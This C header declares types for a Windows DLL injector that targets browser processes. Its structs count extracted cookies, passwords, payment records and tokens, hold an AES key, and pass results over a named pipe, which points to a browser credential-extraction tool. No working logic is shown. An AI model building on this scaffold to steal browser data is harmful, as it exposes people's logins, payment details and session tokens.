#ifndef INJECTOR_TYPES_H
#define INJECTOR_TYPES_H

#include <Windows.h>
#include <stdbool.h>
#include <stdint.h>

#define MAX_PATH_LEN 512
#define DLL_COMPLETION_TIMEOUT_MS 60000
#define PIPE_TIMEOUT_MS 10000

typedef struct {
    bool verbose;
    bool extract_fingerprint;
    wchar_t output_path[MAX_PATH_LEN];
    wchar_t browser_type[64];
    wchar_t browser_process_name[64];
    wchar_t browser_exe_path[MAX_PATH_LEN];
    char browser_display_name[64];
} InjectorConfig;

typedef struct {
    int total_cookies;
    int total_passwords;
    int total_payments;
    int total_tokens;
    int profile_count;
    char aes_key[256];
} ExtractionStats;

typedef struct {
    HANDLE process;
    HANDLE thread;
    DWORD pid;
    USHORT arch;
} TargetProcess;

typedef struct {
    HANDLE pipe;
    wchar_t pipe_name[256];
    ExtractionStats stats;
} PipeCommunicator;

typedef struct {
    uint8_t* data;
    size_t size;
} DllPayload;

#endif // INJECTOR_TYPES_H